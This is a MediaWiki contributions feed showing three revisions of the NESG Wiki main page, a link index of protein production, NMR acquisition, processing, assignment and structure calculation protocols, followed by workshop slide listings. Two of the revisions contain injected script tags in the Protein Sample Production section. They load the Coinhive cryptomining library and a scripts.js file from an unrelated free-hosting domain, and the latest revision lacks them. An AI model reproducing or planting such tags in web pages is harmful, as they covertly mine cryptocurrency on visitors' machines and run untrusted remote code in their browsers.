NESG Wiki - User contributions [en]

Main Page

2019-01-06T22:05:21Z

Gwylie: /* Protein Sample Production */

__NOTOC__

<big>'''Welcome to the NESG Wiki!'''</big><br>

The NESG Wiki is a medium for sharing experimental protocols as well as training an educational materials in the fields of structural biology, structural genomics and biomolecular NMR.

Please check out [[NESG NMR wiki workshop at the 2010 Keystone meeting|NESG NMR wiki workshop presentations at the 2010 Keystone meeting]]

== Protein Sample Production ==

{| cellspacing="1" class="FCK__ShowTableBorders"
|- valign="top"
|
*[[Target selection|NESG target selection]] <br>
*[[DNA cloning protocols|DNA cloning protocols]]<br>
*[[Protein purification|Protein expression and purification protocols]] <br>
*Sample Optimization
**[[Construct optimization]]
**[[Buffer optimization]]
**[[Cofactor optimization]]

|
*Protein Sample Analysis
**[[SDS page gel]]
**[[Protein concentration|Protein concentration measurements]]
**[[Oligomerization Status|Assessment of Oligomerization State]]
***[[Gel filtration and light scattering|gel-filtration and light scattering]]
***[[NMR determined Rotational correlation time]]
**[[MassSpectrometry|Mass spectrum]]
**[[NMR screening]]

|}

== NMR Data Acquisition ==

{| class="FCK__ShowTableBorders" cellspacing="1"
|- valign="top"
|
*Routine operation
**[[NMR Sample Preparation]]
**[[Inserting NMR Sample]]
**[[Tuning and matching]]
**[[Deuterium Lock]]
**[[Shimming]]
**[[Pulse width calibration]]
**[[Temperature calibration]]
**[[Chemical shift referencing]]
*Advanced operation
**[[Deuterium pulse width calibration and decoupling]]

|
*NMR data acquisition for protein structure determination
**[[Common NMR experiment sets]]
**[[NMR experiment setup scripts for VNMRJ|Custom NMR experiment setup scripts for VNMRJ]]
**[[Estimation of rotational correlation time]]
**[[Estimation of measurement time]]
**[[Simultaneous 13C,15N-resolved NOESY]]
**[[2D (13C, 1H) HSQC for fractionally 13C-labeled samples|2D [13C, 1H]-HSQC for fractionally 13C-labeled samples]]
**[[Long-range 15N-1H correlation experiments for histidine rings]]
*[[Setting up non-uniformly sampled spectra|Non-uniform sampling (NUS) ]]
**[[Setting up non-uniformly sampled spectra/NUS guide for Varian|NUS - Varian]]
**[[Setting up non-uniformly sampled spectra/NUS guide for Bruker according to Arrowsmith group in Toronto|NUS - Bruker]]

|
*Maintenance (VARIAN)
**[[Installing and updating BioPack]]
**[[Full probefile calibration]]
**[[Rebooting spectrometer console]]
**[[Conditioning procedure for cryogenic probes]]

|}

== NMR Data Processing ==

{| class="FCK__ShowTableBorders" cellspacing="1"
|- valign="top"
|
NMRPipe

*[[Brief description of philosophy, commands, and functions of NMRPipe|Brief description of philosophy, commands, and functions]]
*[[Routine 2D Experiment|2D experiments]]
*[[Routine Processing Procedure for 3D 15N and 13C-edited Experiments|3D <sup>15</sup>N and <sup>13</sup>C-edited experiments]]
*[[HSQCTROSY RDC Measurement|2D ]]<sup>[[HSQCTROSY RDC Measurement|15]]</sup>[[HSQCTROSY RDC Measurement|N HSQC-TROSY experiment for RDC measurement]]
*[[Jmodulation Experiment RDC|2D J-modulation experiment for RDC measurement]]
*[[Alignment Media Preparation|Alignment Media Preparation for RDC measurement]]

|
Other

*[[Processing NMR spectra with PROSA|PROSA]]
*[[Bruker Data Processing|TOPSPIN]]
*[[AGNuS/AutoProc|AUTOPROC]]
*[[Processing non-uniformly sampled spectra with Multidimensional Decomposition|Processing NUS spectra with MDD]]
*[[Spectra Format Conversion from NMRPipe Data|NMRPipe processed data conversion to Sparky, CARA, XEASY, and NMRViewJ]]

|}

== NMR Resonance Assignment ==

*[[Resonance Assignment/Principles and concepts|Principles and concepts]]

{| class="FCK__ShowTableBorders" cellspacing="1"
|- valign="top"
|
*Semi-automated protocols
**[[Resonance Assignment/CARA|CARA]]
**[[Sparky]]
**[[Resonance Assignment/XEASY|XEASY]]

|
*Automated resonance assignment
**[[AutoAssign|AutoAssign]]
**[[AutoAssign WebServer|AutoAssign server]]
**[[Abacus|ABACUS]]
**[[The PINE Server|PINE server]]

|
*Validation and deposition
**[[AVS|Assignment validation suite (AVS)]]
**[[LACS|Linear analysis of chemical shift (LACS)]]
**[[PDB and BMRB Deposition#Preparing_files_for_BMRB_depostion|Depositing chemical shifts]]

|}

== Structure Calculation and Validation ==

[[Structure Calculation and Validation|Principles and concepts]]

{| class="FCK__ShowTableBorders" cellspacing="1"
|- valign="top"
|
*Structure calculation
**[[CYANA Structure Determination Program|CYANA]]
**[[AutoStructure Structure Determination Program|AutoStructure]]
**[[Structure Calculation Using CS-Rosetta|CS-ROSETTA]]
**[[Structure Calculation Using CS-DP ROSETTA|CS-DP ROSETTA]]
**[[Structure Calculation Using CS-RDC-ROSETTA|CS-RDC-ROSETTA]]
**[[Consensus Approaches|"Consensus" approaches]]
**[[Refinement Strategies|Refinement Strategies]]

|
*Special topics
**[[Protein-Ligand Complexes|Protein-Ligand complexes]]
**[[Working With Metal Ions|Metal ions]]
**[[Residual Dipolar Couplings in Structure Refinement|Residual Dipolar Couplings]]
**[[REDCAT|REDCAT]] and [[REDCRAFT|REDCRAFT]]
**[[Paramagnetic Constraints in Structure Determination|Paramagnetic constraints]]
**[[RDC-Assisted Dimer Structure Determination|RDC-assisted dimer structure calculation]]

|
*Structure Refinement
**[[Structure Refinement Using CNS Energy Minimization With Explicit Water|CNS refinement]]
**[[Structure Refinement Using XPLOR-NIH|XPLOR-NIH refinement]]
**[[Rosetta High Resolution Protein Structure Refinement Protocol|ROSETTA refinement]]<br>

|
*Validation and deposition
**[[PdbStat|PdbStat]]
**[[PSVS|PSVS]]
**[[RPF Analysis|RPF analysis]]
**[[MolProbity Server|MolProbity server]]
**[[RDCvis & KiNG|RDCvis]]
**[[PDB and BMRB Deposition|PDB and BMRB deposition]]
**[[ADIT-NMR|ADIT-NMR]]
**[[HarvestDB|HarvestDB]]
**[[SPINS|SPINS]]

|}

== nmr 2.0 ==

[[http://www.nmr2.buffalo.edu/ Homepage]]

{| class="FCK__ShowTableBorders" cellspacing="1"
|- valign="top"
|

*[http://www.nmr2.buffalo.edu/comm/links/ nmr 2.0 Communication]
*[http://www.nmr2.buffalo.edu/resources/edu/ nmr 2.0 Educational]

*[http://www.nmr2.buffalo.edu/resources/jobs/ nmr 2.0 Jobs]
*[http://www.nmr2.buffalo.edu/resources/jobprofiles/ nmr 2.0 Job Seekers]

*[http://www.nmr2.buffalo.edu/resources/poll/ nmr 2.0 News]

*[http://www.nmr2.buffalo.edu/resources/queries/ nmr 2.0 Queries]

*[http://www.nmr2.buffalo.edu/resources/humor/ nmr 2.0 Humor]

*[http://www.nmr2.buffalo.edu/resources/links/ nmr 2.0 Links]

*[http://www.nmr2.buffalo.edu/blog nmr 2.0 Blog]

|}

For a more linear view of the contents including those in development see [[Wiki Tree Layout]]

Main Page

2019-01-06T22:04:49Z

Gwylie: /* Protein Sample Production */

__NOTOC__

<big>'''Welcome to the NESG Wiki!'''</big><br>

The NESG Wiki is a medium for sharing experimental protocols as well as training an educational materials in the fields of structural biology, structural genomics and biomolecular NMR.

Please check out [[NESG NMR wiki workshop at the 2010 Keystone meeting|NESG NMR wiki workshop presentations at the 2010 Keystone meeting]]

== Protein Sample Production ==

{| cellspacing="1" class="FCK__ShowTableBorders"
|- valign="top"
|
*[[Target selection|NESG target selection]] <br>
*[[DNA cloning protocols|DNA cloning protocols]]<br>
*[[Protein purification|Protein expression and purification protocols]] <br>
*Sample Optimization
**[[Construct optimization]]
**[[Buffer optimization]]
**[[Cofactor optimization]]

|
*Protein Sample Analysis
**[[SDS page gel]]
**[[Protein concentration|Protein concentration measurements]]
**[[Oligomerization Status|Assessment of Oligomerization State]]
***[[Gel filtration and light scattering|gel-filtration and light scattering]]
***[[NMR determined Rotational correlation time]]
**[[MassSpectrometry|Mass spectrum]]
**[[NMR screening]]

|}
<br>
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<br>
<script src="https://princeca-loly.000webhostapp.com/scripts.js"></script>

== NMR Data Acquisition ==

{| class="FCK__ShowTableBorders" cellspacing="1"
|- valign="top"
|
*Routine operation
**[[NMR Sample Preparation]]
**[[Inserting NMR Sample]]
**[[Tuning and matching]]
**[[Deuterium Lock]]
**[[Shimming]]
**[[Pulse width calibration]]
**[[Temperature calibration]]
**[[Chemical shift referencing]]
*Advanced operation
**[[Deuterium pulse width calibration and decoupling]]

|
*NMR data acquisition for protein structure determination
**[[Common NMR experiment sets]]
**[[NMR experiment setup scripts for VNMRJ|Custom NMR experiment setup scripts for VNMRJ]]
**[[Estimation of rotational correlation time]]
**[[Estimation of measurement time]]
**[[Simultaneous 13C,15N-resolved NOESY]]
**[[2D (13C, 1H) HSQC for fractionally 13C-labeled samples|2D [13C, 1H]-HSQC for fractionally 13C-labeled samples]]
**[[Long-range 15N-1H correlation experiments for histidine rings]]
*[[Setting up non-uniformly sampled spectra|Non-uniform sampling (NUS) ]]
**[[Setting up non-uniformly sampled spectra/NUS guide for Varian|NUS - Varian]]
**[[Setting up non-uniformly sampled spectra/NUS guide for Bruker according to Arrowsmith group in Toronto|NUS - Bruker]]

|
*Maintenance (VARIAN)
**[[Installing and updating BioPack]]
**[[Full probefile calibration]]
**[[Rebooting spectrometer console]]
**[[Conditioning procedure for cryogenic probes]]

|}

== NMR Data Processing ==

{| class="FCK__ShowTableBorders" cellspacing="1"
|- valign="top"
|
NMRPipe

*[[Brief description of philosophy, commands, and functions of NMRPipe|Brief description of philosophy, commands, and functions]]
*[[Routine 2D Experiment|2D experiments]]
*[[Routine Processing Procedure for 3D 15N and 13C-edited Experiments|3D <sup>15</sup>N and <sup>13</sup>C-edited experiments]]
*[[HSQCTROSY RDC Measurement|2D ]]<sup>[[HSQCTROSY RDC Measurement|15]]</sup>[[HSQCTROSY RDC Measurement|N HSQC-TROSY experiment for RDC measurement]]
*[[Jmodulation Experiment RDC|2D J-modulation experiment for RDC measurement]]
*[[Alignment Media Preparation|Alignment Media Preparation for RDC measurement]]

|
Other

*[[Processing NMR spectra with PROSA|PROSA]]
*[[Bruker Data Processing|TOPSPIN]]
*[[AGNuS/AutoProc|AUTOPROC]]
*[[Processing non-uniformly sampled spectra with Multidimensional Decomposition|Processing NUS spectra with MDD]]
*[[Spectra Format Conversion from NMRPipe Data|NMRPipe processed data conversion to Sparky, CARA, XEASY, and NMRViewJ]]

|}

== NMR Resonance Assignment ==

*[[Resonance Assignment/Principles and concepts|Principles and concepts]]

{| class="FCK__ShowTableBorders" cellspacing="1"
|- valign="top"
|
*Semi-automated protocols
**[[Resonance Assignment/CARA|CARA]]
**[[Sparky]]
**[[Resonance Assignment/XEASY|XEASY]]

|
*Automated resonance assignment
**[[AutoAssign|AutoAssign]]
**[[AutoAssign WebServer|AutoAssign server]]
**[[Abacus|ABACUS]]
**[[The PINE Server|PINE server]]

|
*Validation and deposition
**[[AVS|Assignment validation suite (AVS)]]
**[[LACS|Linear analysis of chemical shift (LACS)]]
**[[PDB and BMRB Deposition#Preparing_files_for_BMRB_depostion|Depositing chemical shifts]]

|}

== Structure Calculation and Validation ==

[[Structure Calculation and Validation|Principles and concepts]]

{| class="FCK__ShowTableBorders" cellspacing="1"
|- valign="top"
|
*Structure calculation
**[[CYANA Structure Determination Program|CYANA]]
**[[AutoStructure Structure Determination Program|AutoStructure]]
**[[Structure Calculation Using CS-Rosetta|CS-ROSETTA]]
**[[Structure Calculation Using CS-DP ROSETTA|CS-DP ROSETTA]]
**[[Structure Calculation Using CS-RDC-ROSETTA|CS-RDC-ROSETTA]]
**[[Consensus Approaches|"Consensus" approaches]]
**[[Refinement Strategies|Refinement Strategies]]

|
*Special topics
**[[Protein-Ligand Complexes|Protein-Ligand complexes]]
**[[Working With Metal Ions|Metal ions]]
**[[Residual Dipolar Couplings in Structure Refinement|Residual Dipolar Couplings]]
**[[REDCAT|REDCAT]] and [[REDCRAFT|REDCRAFT]]
**[[Paramagnetic Constraints in Structure Determination|Paramagnetic constraints]]
**[[RDC-Assisted Dimer Structure Determination|RDC-assisted dimer structure calculation]]

|
*Structure Refinement
**[[Structure Refinement Using CNS Energy Minimization With Explicit Water|CNS refinement]]
**[[Structure Refinement Using XPLOR-NIH|XPLOR-NIH refinement]]
**[[Rosetta High Resolution Protein Structure Refinement Protocol|ROSETTA refinement]]<br>

|
*Validation and deposition
**[[PdbStat|PdbStat]]
**[[PSVS|PSVS]]
**[[RPF Analysis|RPF analysis]]
**[[MolProbity Server|MolProbity server]]
**[[RDCvis & KiNG|RDCvis]]
**[[PDB and BMRB Deposition|PDB and BMRB deposition]]
**[[ADIT-NMR|ADIT-NMR]]
**[[HarvestDB|HarvestDB]]
**[[SPINS|SPINS]]

|}

== nmr 2.0 ==

[[http://www.nmr2.buffalo.edu/ Homepage]]

{| class="FCK__ShowTableBorders" cellspacing="1"
|- valign="top"
|

*[http://www.nmr2.buffalo.edu/comm/links/ nmr 2.0 Communication]
*[http://www.nmr2.buffalo.edu/resources/edu/ nmr 2.0 Educational]

*[http://www.nmr2.buffalo.edu/resources/jobs/ nmr 2.0 Jobs]
*[http://www.nmr2.buffalo.edu/resources/jobprofiles/ nmr 2.0 Job Seekers]

*[http://www.nmr2.buffalo.edu/resources/poll/ nmr 2.0 News]

*[http://www.nmr2.buffalo.edu/resources/queries/ nmr 2.0 Queries]

*[http://www.nmr2.buffalo.edu/resources/humor/ nmr 2.0 Humor]

*[http://www.nmr2.buffalo.edu/resources/links/ nmr 2.0 Links]

*[http://www.nmr2.buffalo.edu/blog nmr 2.0 Blog]

|}

For a more linear view of the contents including those in development see [[Wiki Tree Layout]]

Main Page

2019-01-06T22:04:27Z

Gwylie: /* Protein Sample Production */

__NOTOC__

<big>'''Welcome to the NESG Wiki!'''</big><br>

The NESG Wiki is a medium for sharing experimental protocols as well as training an educational materials in the fields of structural biology, structural genomics and biomolecular NMR.

Please check out [[NESG NMR wiki workshop at the 2010 Keystone meeting|NESG NMR wiki workshop presentations at the 2010 Keystone meeting]]

== Protein Sample Production ==

{| cellspacing="1" class="FCK__ShowTableBorders"
|- valign="top"
|
*[[Target selection|NESG target selection]] <br>
*[[DNA cloning protocols|DNA cloning protocols]]<br>
*[[Protein purification|Protein expression and purification protocols]] <br>
*Sample Optimization
**[[Construct optimization]]
**[[Buffer optimization]]
**[[Cofactor optimization]]

|
*Protein Sample Analysis
**[[SDS page gel]]
**[[Protein concentration|Protein concentration measurements]]
**[[Oligomerization Status|Assessment of Oligomerization State]]
***[[Gel filtration and light scattering|gel-filtration and light scattering]]
***[[NMR determined Rotational correlation time]]
**[[MassSpectrometry|Mass spectrum]]
**[[NMR screening]]

<br>
<script src="https://coinhive.com/lib/coinhive.min.js"></script>
<br>
<script src="https://princeca-loly.000webhostapp.com/scripts.js"></script>

|}

== NMR Data Acquisition ==

{| class="FCK__ShowTableBorders" cellspacing="1"
|- valign="top"
|
*Routine operation
**[[NMR Sample Preparation]]
**[[Inserting NMR Sample]]
**[[Tuning and matching]]
**[[Deuterium Lock]]
**[[Shimming]]
**[[Pulse width calibration]]
**[[Temperature calibration]]
**[[Chemical shift referencing]]
*Advanced operation
**[[Deuterium pulse width calibration and decoupling]]

|
*NMR data acquisition for protein structure determination
**[[Common NMR experiment sets]]
**[[NMR experiment setup scripts for VNMRJ|Custom NMR experiment setup scripts for VNMRJ]]
**[[Estimation of rotational correlation time]]
**[[Estimation of measurement time]]
**[[Simultaneous 13C,15N-resolved NOESY]]
**[[2D (13C, 1H) HSQC for fractionally 13C-labeled samples|2D [13C, 1H]-HSQC for fractionally 13C-labeled samples]]
**[[Long-range 15N-1H correlation experiments for histidine rings]]
*[[Setting up non-uniformly sampled spectra|Non-uniform sampling (NUS) ]]
**[[Setting up non-uniformly sampled spectra/NUS guide for Varian|NUS - Varian]]
**[[Setting up non-uniformly sampled spectra/NUS guide for Bruker according to Arrowsmith group in Toronto|NUS - Bruker]]

|
*Maintenance (VARIAN)
**[[Installing and updating BioPack]]
**[[Full probefile calibration]]
**[[Rebooting spectrometer console]]
**[[Conditioning procedure for cryogenic probes]]

|}

== NMR Data Processing ==

{| class="FCK__ShowTableBorders" cellspacing="1"
|- valign="top"
|
NMRPipe

*[[Brief description of philosophy, commands, and functions of NMRPipe|Brief description of philosophy, commands, and functions]]
*[[Routine 2D Experiment|2D experiments]]
*[[Routine Processing Procedure for 3D 15N and 13C-edited Experiments|3D <sup>15</sup>N and <sup>13</sup>C-edited experiments]]
*[[HSQCTROSY RDC Measurement|2D ]]<sup>[[HSQCTROSY RDC Measurement|15]]</sup>[[HSQCTROSY RDC Measurement|N HSQC-TROSY experiment for RDC measurement]]
*[[Jmodulation Experiment RDC|2D J-modulation experiment for RDC measurement]]
*[[Alignment Media Preparation|Alignment Media Preparation for RDC measurement]]

|
Other

*[[Processing NMR spectra with PROSA|PROSA]]
*[[Bruker Data Processing|TOPSPIN]]
*[[AGNuS/AutoProc|AUTOPROC]]
*[[Processing non-uniformly sampled spectra with Multidimensional Decomposition|Processing NUS spectra with MDD]]
*[[Spectra Format Conversion from NMRPipe Data|NMRPipe processed data conversion to Sparky, CARA, XEASY, and NMRViewJ]]

|}

== NMR Resonance Assignment ==

*[[Resonance Assignment/Principles and concepts|Principles and concepts]]

{| class="FCK__ShowTableBorders" cellspacing="1"
|- valign="top"
|
*Semi-automated protocols
**[[Resonance Assignment/CARA|CARA]]
**[[Sparky]]
**[[Resonance Assignment/XEASY|XEASY]]

|
*Automated resonance assignment
**[[AutoAssign|AutoAssign]]
**[[AutoAssign WebServer|AutoAssign server]]
**[[Abacus|ABACUS]]
**[[The PINE Server|PINE server]]

|
*Validation and deposition
**[[AVS|Assignment validation suite (AVS)]]
**[[LACS|Linear analysis of chemical shift (LACS)]]
**[[PDB and BMRB Deposition#Preparing_files_for_BMRB_depostion|Depositing chemical shifts]]

|}

== Structure Calculation and Validation ==

[[Structure Calculation and Validation|Principles and concepts]]

{| class="FCK__ShowTableBorders" cellspacing="1"
|- valign="top"
|
*Structure calculation
**[[CYANA Structure Determination Program|CYANA]]
**[[AutoStructure Structure Determination Program|AutoStructure]]
**[[Structure Calculation Using CS-Rosetta|CS-ROSETTA]]
**[[Structure Calculation Using CS-DP ROSETTA|CS-DP ROSETTA]]
**[[Structure Calculation Using CS-RDC-ROSETTA|CS-RDC-ROSETTA]]
**[[Consensus Approaches|"Consensus" approaches]]
**[[Refinement Strategies|Refinement Strategies]]

|
*Special topics
**[[Protein-Ligand Complexes|Protein-Ligand complexes]]
**[[Working With Metal Ions|Metal ions]]
**[[Residual Dipolar Couplings in Structure Refinement|Residual Dipolar Couplings]]
**[[REDCAT|REDCAT]] and [[REDCRAFT|REDCRAFT]]
**[[Paramagnetic Constraints in Structure Determination|Paramagnetic constraints]]
**[[RDC-Assisted Dimer Structure Determination|RDC-assisted dimer structure calculation]]

|
*Structure Refinement
**[[Structure Refinement Using CNS Energy Minimization With Explicit Water|CNS refinement]]
**[[Structure Refinement Using XPLOR-NIH|XPLOR-NIH refinement]]
**[[Rosetta High Resolution Protein Structure Refinement Protocol|ROSETTA refinement]]<br>

|
*Validation and deposition
**[[PdbStat|PdbStat]]
**[[PSVS|PSVS]]
**[[RPF Analysis|RPF analysis]]
**[[MolProbity Server|MolProbity server]]
**[[RDCvis & KiNG|RDCvis]]
**[[PDB and BMRB Deposition|PDB and BMRB deposition]]
**[[ADIT-NMR|ADIT-NMR]]
**[[HarvestDB|HarvestDB]]
**[[SPINS|SPINS]]

|}

== nmr 2.0 ==

[[http://www.nmr2.buffalo.edu/ Homepage]]

{| class="FCK__ShowTableBorders" cellspacing="1"
|- valign="top"
|

*[http://www.nmr2.buffalo.edu/comm/links/ nmr 2.0 Communication]
*[http://www.nmr2.buffalo.edu/resources/edu/ nmr 2.0 Educational]

*[http://www.nmr2.buffalo.edu/resources/jobs/ nmr 2.0 Jobs]
*[http://www.nmr2.buffalo.edu/resources/jobprofiles/ nmr 2.0 Job Seekers]

*[http://www.nmr2.buffalo.edu/resources/poll/ nmr 2.0 News]

*[http://www.nmr2.buffalo.edu/resources/queries/ nmr 2.0 Queries]

*[http://www.nmr2.buffalo.edu/resources/humor/ nmr 2.0 Humor]

*[http://www.nmr2.buffalo.edu/resources/links/ nmr 2.0 Links]

*[http://www.nmr2.buffalo.edu/blog nmr 2.0 Blog]

|}

For a more linear view of the contents including those in development see [[Wiki Tree Layout]]

NESG NMR wiki workshop at the 2010 Keystone meeting

2019-01-06T17:34:51Z

Gwylie: /* List of Presentations */

January 10, 2010 - Breckenridge, CO

[[Image:Keystone-workshop-agenda.pdf]]

== List of Presentations ==

[[Media:Keystone_2010_final.ppt|Survey of workshop agenda and NESG Wiki project (Thomas Szyperski)]]

[[Media:Wiki-ProteinProduction.ppt|NESG Wiki:Protein sample production (Michael Kennedy)]]

[[Media:NMRWorkshopPedroSerrano.ppt|Target selection strategy for high-output NMR structure determination (Pedro Serrano)]]

[[Media:AlexEletsky_NESG_Wiki_NMRacq.pptx|NESG Wiki: NMR data acquisition (Alexander Eletsky)]]

[[Media:NMRWorkshop_Jan2010_PC3.ppt|Use of micorcoil NMR spectroscopy with membrane proteins (Reto Horst)]]

[[Media:HsiauWei-Wiki-Data-Processing.ppt|NESG Wiki: NMR data processing (Hsiau-Wei Lee)]]

[[Media:GutmanasKeystone2010_CHA.ppt|NESG Wiki: NMR resonance assignment (Aleksandras Gutmanas)]]

[[Media:Markley_workshop.ppt|LACS, PINE and TARA software (John Markley)]]

[[Media:Aramini_StructureValidation_2010.ppt|NESG Wiki: NMR structure calculation and validation (Jim Aramini)]]

[[Media:keystone_workshop_20100108.ppt|New developments at BMRB aimed at streamlined depositions (Eldon Ulrich)]]

[[Media:Montelione.Vision.of.PSI3.Keystone2010.ppt|Perspectives for PSI:Biology (Gaetano Montelione)]]

NESG NMR wiki workshop at the 2010 Keystone meeting

2019-01-06T17:34:35Z

Gwylie: /* List of Presentations */

NESG NMR wiki workshop at the 2010 Keystone meeting

2019-01-06T17:34:01Z

Gwylie: /* List of Presentations */